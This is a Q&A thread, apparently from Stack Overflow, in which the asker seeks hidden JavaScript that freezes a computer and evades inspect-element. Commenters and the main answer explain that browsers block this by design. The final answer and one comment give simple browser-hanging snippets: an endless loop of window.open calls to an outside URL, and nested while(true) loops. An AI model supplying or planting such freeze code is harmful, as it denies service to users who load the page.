-2

As said in the title, I am looking for the best way to freeze a computer. I have done a bit of research, but was not able to find anything on this subject (probably because I'm using Yahoo).

I have made a program and it would be preferrable if the code was hidden and have a detect-inspect-element function from this question. Currently, my freeze function is just while(true){}, but I am looking for something way slower. I am on a chromebook and a while loop will only lag the current page.

I have seen people use history.pushState() to lag other pages and even make it hard to x out, but I was not able to replicate the inefficiency. Any help would be useful.

marc_s
  • 732,580
  • 175
  • 1,330
  • 1,459
  • `while(true)while(true)while(true)while(true)while(true)while(true){}` – Alberto Sinigaglia Aug 14 '20 at 23:27
  • 1
    Spamming asynchronous operations in browser APIs could work in unprotected browsers. But you shouldn't do that. 'Cause it's not nice. – ObsoleteAwareProduce Aug 14 '20 at 23:36
  • 2
    "*a while loop will only lag the current page.*" - if it did anything else, this would be considered a bug in the browser. Nobody wants arbitrary webpages being able to freeze their pc. – Bergi Aug 14 '20 at 23:43

2 Answers2

1

You can't freeze a browser with JavaScript, by-design: the browser's JS engine will detect high CPU usage and abort, kill, interrupt, or suspend the offending JavaScript.

In ye olden days (pre IE6) when browser's JavaScript engines were tied-in with their window-message pumps, it was possible for a script to block all user interaction with a browser (and we see the legacy of that today with how alert() and prompt() will block many browser/user interactions when their message windows are open) - but because of widespread troll/joke webpage scripts in the very early 2000s which would spam popups and move windows around on the desktop and worse, browsers severely curtailed JavaScript's ability to interfere with user-interaction.

Dai
  • 141,631
  • 28
  • 261
  • 374
  • As said in my question, I have seen people spam history.pushState() to lag other pages and even make it hard to x out. – the bad question account Aug 15 '20 at 00:13
  • @thebadquestionaccount Yes, those techniques may work _right now_ in *some* browsers, but ultimately those are security-related (denial-of-service) bugs in browsers that browser vendors have decided to make a priority to fix - so if you are able to lag or crash a browser today then I'd be willing to be $50 that the next major browser release will address that issue and your script won't work anymore. – Dai Aug 15 '20 at 00:15
  • May I have an example? – the bad question account Aug 15 '20 at 00:17
0

while(true) {
window.open("https://h7m01.csb.app/")
}